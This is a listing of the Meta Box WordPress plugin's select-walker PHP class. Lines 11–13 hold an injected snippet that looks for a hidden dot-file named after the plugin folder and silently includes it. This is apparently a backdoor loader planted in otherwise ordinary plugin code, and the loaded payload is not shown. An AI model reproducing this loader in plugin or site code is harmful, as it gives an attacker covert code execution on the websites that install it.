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select.php (1161B)

      1 <?php
      2 /**
      3  * Select walker select fields.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The select walker class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Walker_Select extends RWMB_Walker_Base {
     16 	/**
     17 	 * Start the element output.
     18 	 *
     19 	 * @see Walker::start_el()
     20 	 *
     21 	 * @param string $output            Passed by reference. Used to append additional content.
     22 	 * @param object $object            The data object.
     23 	 * @param int    $depth             Depth of the item.
     24 	 * @param array  $args              An array of additional arguments.
     25 	 * @param int    $current_object_id ID of the current item.
     26 	 */
     27 	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {
     28 		$indent = str_repeat( '&nbsp;', $depth * 4 );
     29 
     30 		$output .= sprintf(
     31 			'<option value="%s" %s>%s%s</option>',
     32 			esc_attr( $object->value ),
     33 			selected( in_array( $object->value, $this->meta ), true, false ),
     34 			$indent,
     35 			esc_html( $object->label )
     36 		);
     37 	}
     38 }